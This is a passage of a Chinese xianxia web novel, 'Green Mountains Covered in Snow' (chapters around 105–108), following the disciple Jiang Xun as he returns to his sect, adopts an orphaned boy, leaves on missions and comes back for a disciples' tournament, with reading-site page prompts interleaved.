小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!孟春在世之时,始终对孙玉珍关怀备至、呵护有加。 即便是如今已不在人世,其所附身在木偶上的最后一缕残魂,也依旧在守护着孙玉珍。 只是不知孙玉珍心中可曾有过一丝愧疚,可曾反思自己曾做的那些荒唐事儿,曾说的那些戳心窝子的话。 她总是嫌弃孟春不如赵紫芮漂亮,甚至多次觉得自己同她走在一起丢自己的面儿。 有好多次她都觉得,若赵紫芮是她娘亲该有多好,所以她不喜欢孙玉州,因为那人一出现就会抢走孙时权的目光和赵紫芮的温柔。 可忘了来时路的人,是她。 几人准备走进屋内跟胡世宣陈述一下外面的情况,踏进房门的那一刻,就发现胡世宣已然毫无气息,静静地躺在那里一动不动。 至于他为何会突然丧命于此,在场的几人皆是一头雾水。 方才无人注意到这间屋子里到底发生了何事,也无从知晓胡世宣究竟是死于法术的反噬,还是死于孙玉珍之手。 不过那人身上并没有什么明显的外伤,就连死去的表情也没有狰狞,很平静甚至带着笑意。 几人又转道去了村长家,将整件事的来龙去脉同钟其盛讲解了一遍,连带着说了要带孙玉州回献岁阁一事。 最后又反复地叮嘱他多注意村子里的动静,一有什么不对劲儿的地方可快速传信给献岁阁,届时一定会派弟子下山协助。 “咱们明天再走吧,师兄,我想留这儿看一场傀儡戏。”许廷宽眼神发亮,一副很感兴趣的模样。 “嗯,我没意见,你们呢?”傅霖侧身问向另外几人。 既然五个人来是一起来的,那么回自然也要一起回。 “来都来了,看看呗。”瑶卿轻松地说道。 江洵却敏锐地捕捉到了瑶卿语气里那不易察觉的一丝异样,可是却又难以从她面庞上看出什么明显的端倪来。 就在这时,钟其盛满脸笑容地开口道:“我呀,特意让人给你们预留了前排的好位置,这会儿时间也差不多了,可以过去落座啦。” 瑶卿微微颔首,礼貌地回应道:“多谢钟叔如此费心,还时刻挂念着我们。” “嗨!这都是应该的嘛。对了,小姑娘,我瞧着你好像有点眼熟,之前是不是来看过咱们这儿的傀儡戏呀?” 钟其盛挠了挠头,其实早在最初见到瑶卿之时,他便隐隐觉着对方似曾相识,只是一直没能想起究竟在哪儿遇见过。 今日在帮忙整理凳子的时候,一个瞬间,往昔的记忆如潮水般涌上心头。他猛地记起曾有一年的傀儡戏表演需要邀请一名观众上台协助。 而当时笑着挥手走上台去的那个人正是眼前的瑶卿,并且与她一同前来观看演出的还有另外一位女子,两人看上去关系极为亲密。 听到钟其盛的询问,瑶卿不禁露出一抹略带苦涩的微笑,轻声回答道:“嗯,确实来过。” 钟其盛见状,热情不减地继续追问道:“我就说嘛!上次同你一块儿来的那位姑娘,怎得没跟你们一道儿过来?” “她......”瑶卿提及此人,眼眶有些泛红,深吸了一口气继续说道:“她有事要忙。” “瑶姐姐,快走吧,快开始了,我还没看过呢。”江洵拽着瑶卿的胳膊催促道。 “好。”瑶卿和钟其盛匆匆道别后,就被江洵拽着走了。 帷幕拉开,灯笼挂起,傀儡戏的舞台缓缓展现在观众眼前。 几位傀儡师身着华丽的戏服,手持形态不一的傀儡,站在幕后,准备开始表演。 奏乐响起,傀儡师们开始操纵傀儡,他们的手指灵活地舞动着,傀儡们也随之动了起来。 它们动作流畅自然,尤其是脸上被雕刻出的各种表情,有的悲伤,有的喜悦,有的愤怒,有的惊恐,仿佛有了生命一般。 台下的观众被表演深深吸引,目不转睛地看着舞台,不时发出惊叹声和掌声。 表演越来越精彩,他们手下的傀儡做出各种高难度的动作,如跳跃、旋转、翻滚等。 还有的傀儡左手拿着小茶壶,右手端着小杯子,随着傀儡师的操作,壶中的水缓缓倒入杯中,整个过程中没有一滴水洒落出来。 “好看吗?”耳边传来了傅霖的声音。 江洵刚想回答“嗯”的时候,就听到了另一边许廷宽开心着说“好看”的声音。 原来根本就不是在问他啊,还好……还好方才没有出声回答。 “要是温如玉在就好了,他肯定也喜欢。”傅霖又接着说道。 那一刻,江洵脸上的笑容一点点消失,留下的只有无奈和苦涩。 奇怪,明明傀儡术都被解开了,怎么心口还是闷闷的? 奇怪,明明坐在了第一排,怎么还看不清台上的表演? 少年的喜欢是不动声色,是欲言又止,是自知之明。 随着奏乐的高潮,傀儡师们操纵着傀儡们做出了最后的动作,帷幕缓缓落下。 台下爆发出了热烈的掌声和欢呼声,可江洵却忘了鼓掌,依旧呆愣的站着,双眼无神地盯着台上的某一处。 本小章还未完,请点击下一页继续阅读后面精彩内容!“走了。” 许是听到了刚才的对话,这次,换瑶卿来催促江洵。 两人依旧缓缓地走在熙攘人群的末尾,他们的身影显得有些孤单和落寞。 一路上,两人都保持着沉默,只是偶尔抬起头仰望着夜空中闪烁的星星。 过了好一会儿,江洵终于忍不住打破了这份宁静,他轻声开口道:“瑶姐姐上次跟谁来的呀?” 听到这话,瑶卿微微一怔,随后低下头轻笑出声:“哎呀,真没想到咱们洵儿居然也会有好奇别人八卦的时候呢。” 稍稍停顿后,瑶卿的声音变得轻柔起来:“那是一个……喜欢却又无法靠近的人。” 说完这句话,她轻轻地叹了口气,目光再次投向触不可及的星空。 在瑶卿的心中,那个人就如同高悬天际的明月一般,总是高高在上、遥不可及。 而那人的身边,总是环绕着无数璀璨夺目的星星,使得其愈发耀眼且皎洁。 江洵闻言,不禁追问道:“是个姑娘吗?” 瑶卿笑着瞪了他一眼,假装生气地质问道:“怎么啦?难道你能喜欢男子,我就不能喜欢姑娘啦?” 江洵见状,赶忙摆手解释道:“不是不是,当然可以!!!瑶姐姐喜欢谁都行!!!” 他的语气急切而诚恳,生怕惹得瑶卿不高兴。 这时,瑶卿忽然停下脚步,定定地注视着江洵的双眼,无比真诚地说道:“洵儿也是,喜欢谁都可以。” 说罢,她微微一笑,如同冬日里的暖阳,虽不够炙热,但却又格外温暖。 我希望你一直有喜欢别人的勇气,也永远有破釜沉舟的决心。 我希望你往后的日子不再小心翼翼,不再权衡利弊。 我希望你如那永不熄灭的野火,只为自己而活。 哪怕被世人诟病、被雨水淹没,也要活的出色,活的肆意又自我。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第106章 不自量力 翌日清晨,天色尚暗,几颗星星还挂在天边眨着眼。 几个人轻手轻脚地来到钟其盛那里,小心翼翼地接过孙玉州后,便匆匆踏上了归山之路。 他们一路疾行,终于赶在午饭前回到了献岁山。 江洵迫不及待地冲进三阁的院子,扯着嗓子喊道:“师父!师父!” 那声音响亮的,生怕里面的人不知道他已经回来了。 刚在校场训练完的郜林正往这边走来,听到江洵的声音,不禁微微一笑,指了指后院的方向。 得到指示的江洵立刻加快脚步向后院跑去,而瑶卿则紧跟在他后面,身旁还站着安静乖巧的孙玉州。 当他们经过郜林身边时,一直沉默不语的孙玉州突然抬起头,对着郜林露出一个甜甜的笑容。 郜林见状,好奇地问道:“从哪拐来的孩子?” 听到这话,瑶卿顿时气不打一处来,没好气地反驳道:“拐……拐?????我是那种人?” “你可以是。” 瑶卿白了郜林一眼,嗔怒道:“等我回来再收拾你!” 说完,便一把抱起孙玉州快步追上前方的江洵。 江洵兴高采烈地推开后院的房门,看到江挽后喊道:“师父!!!” 江挽此时手中正轻轻地捏着一颗散发着柔和白光的珠子,这珠子与其说像珍珠,倒不如说像颗夜明珠。 只见她将其高高抬起,让那颗珠子沐浴在阳光之下,将珠子在指尖边转动边打量。 那珠子内部似乎蕴藏着某种未知的物质,正在缓缓流动着。 它既像是细腻的流沙,在珠体之中缓慢滑动;又仿佛是清澈的溪水,潺潺流淌而过,给人一种如梦如幻的感觉。 明明已经到了严寒刺骨的隆冬时节,后院里的那株银杏树依然枝繁叶茂,满树的叶子仍旧保持着深秋时分的模样,呈现出一片璀璨夺目的金黄色。 当风吹过,叶片就如同一只只轻盈的蝴蝶,纷纷扬扬地从枝头飘落下来。 它们在空中打着旋儿,优雅地翩翩起舞,有的飘落在地面上;有的轻柔地降落秋千之上。 熟悉的呼唤声传入了江挽的耳中,她闻声而动,缓缓将手中正把玩着的珠子收了起来。 当转身看向来人时,脸上随之绽放出一抹笑容,眉眼之间更是蕴含着无尽的温柔。 “师父怎得又不戴白纱?”江洵略带责备的声音响起,语气中透露出一丝关切与担忧。 “刚去见了个人,要验货,就没戴着。” 正当江洵加快脚步想要靠近江挽时,她却突然柳眉微蹙,低声说道:“站那!” 这一声喝令来得如此突兀,不仅让江洵瞬间停下了脚步,就连刚刚踏进后院门口的瑶卿和孙玉州也不由得一愣,两人满脸疑惑地望着眼前的情景。 江洵心里很清楚,这句话是专门针对自己说的,心中虽有疑问,但还是乖乖地听从师命,老老实实地站在了原地,不敢再有丝毫动作。 只见江挽身形陡然一闪,眨眼间便来到了江洵的跟前儿。 当那略带着寒意的指尖触碰到温热的脖颈时,激的江洵打了个冷颤。 “这到底是招惹了什么人,居然一路跟你到了这里。”江挽的声音冷若冰霜,让人不寒而栗。 突然间,江洵感觉脖子上传来了一阵如同丝线轻轻划过的触感。 他下意识地低头看去,只见江挽的掌心中正紧紧握着一根黑色的头发。 那根头发细若游丝,却好似拥有自己的意识一般,知道自己被抓以后便迅速缠绕住了江挽的手掌。 紧接着,那头发猛地收紧,就像一条剧毒的蛇死死咬住猎物不放,鲜红的血液顿时从江挽的掌心流淌而出。 “不自量力!” 江挽轻声呢喃道,嘴角微微上扬,露出一抹不屑的笑容。 头发在沾染到江挽的鲜血时,像是被抹上了致命的毒药一般,迅速变得干枯焦黄。 微风拂过,发丝眨眼间便化作了灰烬,随风飘散而去。 “应该是迎姗。” 江洵目光如炬,盯着江挽手中残留的血迹说道。 “迎姗???” 江洵赶忙解释起来:“嗯,就是在咸石村执行任务时遇到的一个人。这两天在招寿村又撞见她了,不过还是让她给逃走了。” “这么说来,之前的傀儡术也是她施展的?”江挽追问道,眼中闪过一丝寒光。 “正是。”江洵肯定地点点头,表情显得有些凝重。 “进来吧。”江挽没再继续追问下去,后退几步坐了下去,抬头示意瑶卿带着孙玉州过来。 瑶卿尴尬的笑了两声,然后同江挽讲了一下这孩子的来历,那是讲的要么凄惨有多凄惨,要多可怜有多可怜。 入狱的娘,杀人的爹,狠心的姐和单纯的他。 “你看......咱三阁......能养吗?”瑶卿说话时的声音都小心翼翼的,生怕江挽不愿意。 江挽闻言,没有即刻回答,而是看向躲在瑶卿身后的孙玉州,那孩子此刻也在打量着她。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!真是......净一点儿也不怕人。 “叫什么名字?” 瑶卿刚想替他回答的时候,被江洵偷摸的用胳膊撞了一下,意思是让人孩子自己说。 “孙玉州。” “你娘姓什么?” “赵。” “以后便叫赵玉洲吧。” 这意味着同意让他留下来了。 赵玉洲的双眼瞬间绽放出明亮的光芒,脸上洋溢着灿烂的笑容,深深地向江挽鞠了一躬,毕恭毕敬地说道:“谢谢姐姐!” 瑶卿一听到他这般称呼,立刻扬起手来,毫不客气地拍在了他的后脑勺上,咬着牙关说道:“要叫阁主!别乱了规矩!” 赵玉洲很快就反应过来,心领神会地点点头,又一次深深鞠了一躬,当他抬起头的时候,声音清脆响亮地喊道:“谢谢阁主姐姐!” “你这孩子!” 江洵笑着走到桌前,先是用手背碰了碰茶壶,知道还是热的以后,才缓缓倒了一杯热气腾腾的茶水,轻轻递给了江挽。 “师父方才拿的是什么?” 江挽伸手接过茶盏,接着便将之前藏于怀中的那颗神秘珠子掏了出来。 瑶卿定睛一看,待看清楚之后,不禁失声喊道:“啊!这……这是魂珠!!” 这种珠子是由那些修炼足足上百年之久的蚌妖产下的宝贝,每十年,才能产出这么一颗珠子。 不仅如此,想要将此珠变成真正意义上的魂珠,还需要一段过程。 先往珠子里注入新鲜的人血,再引入纯净的灵力,随后还要日日夜夜都贴身携带在身上。 就这样整整持续五年时间,最终方能成为魂珠。 魂珠最为神奇之处在于,它能够储存下人的记忆。 一个人的回忆若是越美好,那么这颗魂珠所呈现出来的颜色也就越发纯粹清澈,甚至会从散发出柔和的桃红色。 反之,则是一颗漆黑如墨、深不见底的珠子。 不过,魂珠本就稀有,能见到的也不过多是粉色与黑色相互掺杂混合而成的。 毕竟人的记忆本就是甜与苦的结合。 再看江挽手中所持有的那颗,只是刚刚初步形成而已,尚未融入任何人的记忆片段,故而其内部依旧呈现出流动着的纯净白色。 “你拿魂珠做什么?”瑶卿不禁心生疑惑,开口询问道。 “一时好奇罢了。”江挽面色平静如水,语气亦是云淡风轻地回应道。 很明显,这句话只是她转移话题的说辞。 瑶卿自然立刻洞悉了其中端倪,但她也十分懂得察言观色,于是并未继续追问下去。 就这样,赵玉州被妥善地安置在了三阁之中,住进了位于瑶卿隔壁的那间屋子,恰好与陈叔的房间相对而立。 方知许则再度拾起旧业,充当起了赵玉州的授业先生。 而江洵这几日在山上时,偶尔也会陪伴着赵玉州一同前去听讲课程。 有时甚至还会碰巧遇见温如玉,以往每当江洵望见他之时,心中并无太多异样感受。 可是最近这两天每每瞧见温如玉,总会不由自主地浮现起傅霖那晚所说过的话语,令他感到有些心烦。 啧,也是,这样的人,傅霖怎么可能不喜欢。 许是察觉到江洵的目光,温如玉望了过去,然后笑的一脸狡黠,抬起了手大声喊道:“老师,有人走神!!” 江洵烦躁的“啧”了一声,这人都多大了?怎么还跟个孩子一样告状呢? 山上的时光犹如白驹过隙,匆匆流逝。不知不觉间,半月已过,江洵竟意外地收到了秦在锦的书信。 也不知那人究竟是如何与冬苓取得联系,二人已经约定好一同前去执行任务了。 展开信纸,上面详细地交代了此次任务的大致情况以及确切的地点。 最主要的是,秦在锦竟然自作主张地替江洵领取了属于他的那份任务书,并嘱咐他只需从献岁山径直出发即可。 如此独断专行的行事风格,全然没有询问过江洵本人是否愿意参与其中。 想到此处,江洵不禁暗自苦笑摇头,这肯定是冬苓的主意。 其实,江挽早就察觉到江洵近来心情颇为低落,整个人都显得有些无精打采。 “你不如多出去走动走动,也好散散心,总闷在这山上可不是个事儿。” 还未等江洵自己拿定主意,江挽已然手脚麻利地将他所需的行李统统收拾妥当,并一路送至了山脚下。 “此番外出执行任务,多加留意自身安全。一旦遭遇危险,及时发送求救信号,切莫意气用事、强自逞能。” 说话间,江挽轻柔地伸出手,仔细地为江洵整理了一下略显凌乱的衣领。 “师父既然担心我,就让我在山上多住几日嘛。”江洵嘟囔着撒娇道。 “以后有的是时间住,好啦好啦,快去吧,别让小锦和冬苓等久了。” 江洵听罢,动作利落地翻身上马,轻轻挥动马鞭,骏马缓缓前行了几步,又忍不住回过头去张望。 今日真是一个罕见的艳阳天,天空湛蓝如宝石,阳光洒下,给大地蒙上一层温暖而明亮的光辉。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!微风轻拂,不再像前些日子那般寒冷刺骨,反倒多了几分柔和与亲切。 江挽就那样静静地站在原地,目光温柔地凝视着江洵渐行渐远的身影。 当看到江洵回头时,她微微一愣,旋即展露笑颜。“往前看,小心路滑别摔着了。” 江洵乖巧的点了点头,深吸一口气转过头,策马扬鞭疾驰而去。 自那日离开之后,江洵一直没有回来住过。甚至连一年一度最为重要的除夕之夜,他也只是匆忙赶回家里吃了顿年夜饭,然后又急匆匆地踏上了行程。 从寒冬腊月到春暖花开,再到夏日炎炎,季节不断更迭变换。 终于,在第二年的七月,也就是献岁阁弟子大会即将开始的前一天,江洵再次回到了阔别已久的三阁。 这半年以来,江洵和另外两人几乎时刻相伴左右,形影不离。 起初的前两个月,他们只挑选一些较为简单、等级较低的任务去完成。 随着时间推移,经验逐渐积累,如今三人都敢接难度更高的丙级任务了。 每隔半个月,江洵总会准时将一封家书寄往三阁。 信中除了向家人报一声平安之外,还会附上一些稀奇古怪的小玩意儿,有的是给江挽的,有的是给州州的。 少年逐渐学会了报喜不报忧,不会在信中透露半句自己受伤的消息。 曾经有好几次,思乡之情涌上心头,萌生出返回三阁的念头时,又意识到自身伤势尚未痊愈,于是只能作罢。 值得庆幸的是,江洵身边一直有着秦在锦和冬苓这两个人陪伴左右。 尤其他俩还都是性格活泼开朗之人,整天叽叽喳喳的说个不停,仿佛总有聊不完的话题。 不论是谈论仙门百家那些神秘莫测、真假参半的八卦,还是闲聊平民百姓日常生活中的琐碎趣事、家长里短,这二人都能应对自如,接上对方抛出的话茬儿。 而江洵此番回献岁之际,秦在锦和冬苓二人自然而然地跟着他一同回来了,都想近距离地观看献岁阁的弟子大会。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第107章 客随主便 这小子还是一进门就到处喊师父,从前院喊到后院,也不嫌累。 “姐姐去主阁啦,一会儿就回来啦。”赵玉洲听到动静后,从窗户边儿探出脑袋笑嘻嘻地说道。 他从来三阁的那日起便喊江挽姐姐,一个没打算改口,一个也应声默许。 半年过去,这孩子倒是长高了许多,许是随了他亲爹,总是喜欢一头扎进书堆里。 方知许每每在不是授课的时间里看到他,都想绕道儿走,这孩子总是有一堆莫名其妙的问题在等着他。 也因着他,二阁近些时日以来,倒经常跟三阁走动,乔决总会从山下买来一些小孩子玩的东西送给赵玉州,就连许廷宽偶尔也会同傅霖一起过来串个门。 “这孩子就是州州吧?”冬苓满脸欣喜地小跑儿过去,伸出双手就要去捏那人粉嘟嘟、肉乎乎的小脸蛋儿。 “这长相,长大了可不得了啊。”秦在锦也赶忙凑上前去,嘴里不住地赞叹道。 江洵听到这话,有些无语地瞥了一眼秦在锦,没好气地回怼道:“关注点难道不应该在修为方面么?” “哟呵,你管我呢?你以为谁都跟你一样是个武痴呀!一天到晚就知道修炼、打架。”秦在锦不甘示弱地反击道。 想当初刚认识冬苓的时候,江洵的武艺可是远远不如她,每每切磋的时候都是以惨败收场。 然而如今再看,二人的修为已然不相上下了。 而他们三人当中,修为最低的反倒是秦在锦了。不过对此他倒并不在意,因为对于秦在锦来说,武学并不是他人生中的首要追求。 他最大的兴趣在于钻研医术,能够为人看病问诊、救死扶伤才是他最为看重的事情。 故而,只要自身的修为能够保证自己在遇到危险时,有一定的自卫能力就行了,没必要像江洵那样拼命地提升修为。 “呦呵,瞧瞧这是谁回来啦?真是稀客呀?难不成是在外头招惹了仇家回来躲债呢?” 在房间里惬意地午睡的陈叔,迷迷糊糊间好似听到一个熟悉得不能再熟悉的声音。 刚开始的时候,他甚至还以为自己是在做白日梦呢,毕竟这个声音已经好久没有在耳边响起过了。 当他揉了揉眼睛,定睛一看,那活生生站在自家银杏树下的不是江洵还能是谁! 刹那间,一股难以言喻的情绪涌上心头,陈叔只觉得自己的眼眶猛地一热,泪水差点就要夺眶而出。 这孩子,一直以来都是如此。 明明在寄回来的书信当中口口声声说着想念献岁、思念三阁,可是行动上却迟迟不见归期。 这一去,便是整整半年的时光,期间好几个月都不曾回过家看上一眼!每一次想要了解江洵的近况,都只能从旁人的嘴里听说一些只言片语。 此刻,陈叔原本满肚子的关切话语到了嘴边,却又硬生生地给咽了回去。 他发现小洵儿好像又长高了不少,而且那性格也是愈发变得沉稳内敛起来。 仅仅只是静静地站在那里,浑身上下竟然散发出了几分令人不敢小觑的压迫感。 江洵闻声转头望来,嘴角微微上扬,勾勒出一抹淡淡的笑容,然后不紧不慢地回应道:“可不是嘛,不小心招惹到了个不得了的大人物,这不赶紧跑回来避避风头,躲上个两三天再说。” 少年还是那个少年,笑起来的模样仿佛又回到了三年前,还是那个瘦弱的小乞丐,因为吃上一顿饱饭,就能傻乐个半天。 “哼!出息!” 江洵知道陈叔没有真生气,就是想让人哄哄他。 “这位是秦在锦,阳春门的小少爷,以后陈叔想喝阳春酒就找他要,绝对管够!那位同州州玩耍的姑娘叫冬苓,是相月山的弟子。” 江洵挨个给陈叔介绍道,虽然之前在信上又提过几句,但如今回了三阁,总归还是要正式介绍一下。 毕竟他们仨可是过了命的交情。 一起扛过冻,一起挨过饿,一起爬过大陈最高的那座山,只为了躺在上面看一晚上的星星。 “你姐姐估摸着晚上就会到。”陈叔说道。 秦念淑这半年来与江挽的书信都没有断过,那一条条的白纱也是月月都往三阁送。前些几日还在信中提及会来看一眼献岁阁的弟子大会,算着时间也快到了。 “啊?????”秦在锦一脸茫然,显然还不知道这回事儿。 因为江洵要回来参加比试,他们仨本已途径阳春门,可念着时间紧迫,于是秦在锦只能匆匆瞥一眼那熟悉的宅院,继续埋头赶路。 算起来已经有好些日子没见到秦念淑了,自从上次那场激烈争吵过后,姐弟俩就一直处于冷战状态。 这可是秦在锦从小到大头一遭和姐姐闹得如此不愉快,而且僵持时间之久远超以往任何一次。 争执的起因是他们仨一同前往中律司领取奖励之时,偶然间碰见了萧旻。 只见那家伙正与花时雨谈笑风生,好不亲密。可那萧旻明明都快跟他姐成婚了,怎得还和花时雨这般亲昵地相处! 这章没有结束,请点击下一页继续阅读!更令人生气的是,当时萧旻显然也注意到了秦在锦的存在,可他竟一点打招呼的念头都没有,不仅如此,望向这边的眼神里甚至还流露出一抹轻蔑之色。 回到家中,秦在锦实在按捺不住内心的愤懑,将此事原原本本地告诉了秦念淑。本以为姐姐会站在自己这边,谁知她竟轻描淡写地劝弟弟别胡思乱想。 但秦在锦坚信自己亲眼所见绝不会有假,况且他一心只为姐姐着想,绝不希望姐姐所托非人。 难道天底下的好男儿都死光了吗?为什么明知道对方并非良配,还要执意嫁给这样一个人呢? 或许是因为情绪太过激动,言辞难免有些过激,秦念淑气得双眼通红,抬手狠狠甩了秦在锦一记耳光。 清脆的巴掌声回荡在房间里,仿佛也重重地敲在了两人的心坎上。 他怎么都忘不掉秦念淑的泪水顺着脸颊滑落的模样,仿佛每一滴泪都重重地砸在了他的心尖儿上;同样难以忘怀的还有当时脸上传来的阵阵刺痛感,如同被烈火灼烧一般。 她说他根本就不懂,然而事实却是她自己才是那个真正不明白的人。 如果过会儿就要和秦念淑碰面,他确实完全不清楚究竟应该摆出怎样一副表情来面对她。 难道要面带微笑轻声说着抱歉吗?亦或是泪眼朦胧哽咽着承认错误? 可他没错。 冬苓见状突然凑了过来插话道:“那敢情好呀,一会儿你俩好好聊聊。”说完之后,她又热情地跟陈叔打了一声招呼。 秦在锦却只是小声嘟囔着:“没啥好聊的。” 看到他这副样子,冬苓二话不说,直接伸手朝着他的额头用力弹了一个脑瓜崩儿。 随后,一脸严肃认真地说道:“别犯傻!她可是你姐姐,你也是她在这个世界上最亲近的人之一。要是将来她真的受到了什么委屈,那可就得指望你来替她出头、给她出气呢!” 顿了顿,冬苓接着又补充道:“况且,你不能仅仅只是站在一边质问‘凭什么’,而是应该主动去弄清楚其中的原因。” “依我看,念姐姐绝对不会是那种会为了所谓的感情而轻易牺牲自我的人,这里面或许有着你不知道的事儿。” “臣附议!”江洵在一旁十分赞同地点了点头。 这俩人一唱一和地说着,秦在锦就这样不知不觉被他们给说服了,最终点头同意采取“先礼后兵”的策略。 就在几人热烈交谈之时,只见江挽与温如玉一同走了进来,而在二人身后,紧跟着双手抱胸、神色冷峻的傅霖。 “刚刚还念叨着,说您快回来了。”江挽面带微笑,柔声开口说道。 尽管脸上蒙着一层薄薄的白纱,但早在还未踏进大门之时,便已经听到了秦在锦和冬苓的声音,心里自然清楚江洵肯定也一并回来了。 “师父,您是不是最近都没有好好吃饭?瞧您都消瘦了不少呢。”江洵一边关切地说着,一边快步走上前去搀扶住她。 “哎呀,看吧!!!我早就说了,瘦了许多!!!可她就是不肯听我的话,一个劲儿地反驳我说什么我年纪大了,眼神不好使。” “哼!你看看,现在连洵儿也这么讲,他总归还是年轻的吧,他的眼神总该不会有问题吧!” 陈叔越说情绪越是激动,到最后甚至不自觉地抬高了嗓音。 显然,对于自己被质疑“眼神儿不好使”这件事,他感到十分不满,他觉得自己可一点儿都不老眼昏花! 站在一旁的江挽见状,忍不住压低声音嘟囔了一句:“这小老头,脾气还真是大得很。” 江洵听到这话,稍稍低下头去,附和着接了一句:“可不嘛,我刚才可是费了好大一番功夫,才把他给哄好了呢。” 之前还不觉得江洵长个儿了,如今一对比,都比江挽还高出一个头呢。 “凶你啦?”江挽侧头问道。 “是的呢!说我没出息呢。”江洵佯装委屈地撇了撇嘴。 这师徒俩私底下嘀嘀咕咕的说些悄悄话也就算了,还非要当人的面说,故意让陈叔听的一清二楚。 “当我耳聋了是吗?”陈叔冷哼一声道。 “你看,又生气了。”江挽坐下去笑着说道。 江洵拿出杯子给江挽倒了杯温水,接话道:“那咱哄哄他。” 随后,又接着倒了杯水递给了陈叔,小老头脸上虽还是生气的表情,可那眼神却是带着宠溺的,接过水杯一饮而尽。 “你之前……没这么黑吧?”温如玉上下打量着江洵,他就说这孩子看起来感觉哪里怪怪的。 这半年以来,无论是哪个地方的任务他们仨都会接,整日里免不了东跑西跑的,愣是把江洵原本白皙的皮肤晒黑了不少,尤其是跟傅霖那人站在一起,肤色差尤为明显。 “嗯。”江洵不咸不淡的回他。 “霖哥儿好好!!”冬苓看到傅霖,笑着同他打招呼。 傅霖被这突如其来的一嗓子喊得有些发愣,随即又冷哼一声,有些不满道:“都进门这么久了,你才看到我啊?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“看到了看到了,这不是嘴刚闲下来么!” 她从一进门就一眼看中了桌子上摆放的几碟糕点,终于在经过陈叔的同意以后,才拿起来品尝。 “好吃不?” 其实傅霖这句问的属实是有些没话找话了,不过冬苓还是如实回了:“好吃好吃!这碟桂花糕最好吃!” “那等临走的时候,让江洵给你买几份儿带着,好路上吃。”江挽说着就将桂花糕往她跟前儿推了推,让她方便拿着吃。 “好!!” 她这边答应倒是的挺快,但当事人江洵可不那么乐意了。 “让锦哥儿给你买,我可是只给我师父买桂花糕。” “来者是客!你就这么敷衍我们?” 秦在锦虽然十分乐意给冬苓买桂花糕,但一码归一码,他们既然是来做客的!那就万万没有走的时候还得自己掏钱买东西的道理! 江洵眉梢微挑,嘴角勾勒一抹得意的笑,一字一句地回道:“在我这儿,只有客、随、主、便。” “你好不要脸!” 秦在锦想踹他一脚,可又突然想到这是人家的地盘,人师父师伯师兄都站在这儿呢,万一动起手来,吃亏的可是他自己。 虽然他还有冬苓这个帮手,但有江洵在,冬苓那丫头还真不一定向着他。 “我掏钱,管够。”江挽面带微笑,伸手从怀中掏出一个小巧玲珑的荷包。 那荷包鼓鼓囊囊的,沉甸甸的样子一看便知里面装了不少银钱,还真是管够! 一群人围坐在一起,谈天说地,欢声笑语不断。直到月亮悄悄地爬上了枝头,洒下一片皎洁的月光。 这时,厨房里传来了郜林那骂骂咧咧的呼喊声:“有完没完了?还不快滚过来吃饭!我都快饿死了!” 他从做好饭就喊人过去吃饭了,愣是等的菜都凉了,还是没看到人过来。 真是气煞我也! 听到这声音,众人才心不甘情不愿地站起身来,挪动脚步往饭桌儿走去。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第108章 心软的神 等到所有人都纷纷落座之后,云蘅才急匆匆地赶了过来。 她刚一踏进房门,就看到了端坐在位子上的江洵,随即扯起嗓子高声喊道:“呦,我的洵儿回来啦?” “明个儿都要比试了,怎得今晚还敢来三阁吃饭?还有什么叫你的洵儿?” 瑶卿虽然嘴上这样说着,可身体却十分诚实地往旁边挪了挪,给云蘅腾出了一个座位。 云蘅听了这话可不高兴了,她撅起小嘴反驳道:“怎得温如玉能来,我却不能来?要打也是先打一阁的啊。” 说完,她气鼓鼓地瞪了瑶卿一眼,然后大摇大摆地走到空位前坐下。 刚刚坐稳,云蘅又接着开口说道:“我瞅着咱们洵儿是越长越好看了,提前预定了昂,谁也别跟我抢!” 一旁的温如玉一听这话,连忙举起手来示意道:“我现在可是三阁的人!还有你少打人江洵的主意!” 傅霖见状,用眼神示意他把手放下去。 “又没打你主意,你管得着嘛你!话说你们三阁明儿派几个弟子参加啊?”云蘅边吃边问。 毕竟这打眼儿一看,适龄的还真没有几个,瑶卿肯定是不去凑热闹的,慕语和郜林更是指望不上,他俩连任务都得催着才去做。 而其余几个弟子,要么还在出任务赶不回来,要么就又是个与世无争的性子。 除了江洵,总不能让赵玉州上吧。 他能去干嘛? 萌死对手嘛? 不过万事皆有可能,没准儿还真能让他遇到心软的神呢! “洵儿和小段参加。” 陈叔谈话间指了指身旁的一位少年——段千寒。 他比江洵要早两年入阁,由于常年出任务,倒不怎么在三阁待着。 此人悟性不高,陈叔说他哪怕比别人付出十倍的努力,最后也未必会赶得上本身就有天赋傍身的人。 可段千寒如今已经不太在意这些了。 他知道只要捂住耳朵,闭上眼睛,就会活的轻松许多。 他也明白了他的对手自始至终就只有一个,那就是他自己。 一年不行就两年,两年不行就三年,只要能超过上一年的自己,那于他而言,又何尝不算是一种进步? 至于旁人,只是旁人,与自己无关。 其实前几年他也没少听人家在他耳边说他不行,就连他自己都觉得他不是修行的料儿,好多次都想卷铺盖回家了。 且不说和自己一起入阁的同门,就连后两年入阁的江洵,都在短短两年的时间内赶超了他,明明那人最初还是个连刀都拎不起来的小孩子。 可江挽让他少看别人,多看自己。 江湖上年纪轻轻就修为极高又天赋超强的人可谓是寥寥无几,而大部分人都不过是在浑水摸鱼罢了。 真扒掉外皮拎到秤上去对比,其实也不过是半斤八两。 他曾觉得江洵就是阁主口中的“寥寥无几”,但他见过江洵哪怕是在风雨交加的天气里,依旧在校场练刀的身影。 也见过他曾当众被傅霖打趴下,养好伤后又继续爬起来训练的神情。 那人好似总有用不完的劲儿。 他也曾问过江洵,这样日复一日又看不到成效的生活累不累。 可那人却傻笑着说不累,反而很踏实,踏实的让他心安。 心安么…… 这时,云蘅打断了段千寒回忆的思绪,眼神不怀好意的在江洵和傅霖二人之间看来看去,“其实我主要是想看这二两之间再切磋切磋。” “哈哈哈哈,我们洵儿这次可不会一招都接不下来了。”瑶卿得瑟地撅起小嘴,她对江洵还是很有信心的! 秦在锦一脸好奇地问道:“诶?这么说,你们之前切磋过啊?” “打和挨打还是有差别的,洵儿那时候可是被打的半个月下不来床。”郜林想想那段日子的江洵都心疼,药都差点喂不进去。 冬苓原本脸上还洋溢着灿烂的笑容,听到事情如此严重后,瞬间拉下脸来,满心的欢喜被不悦所取代。 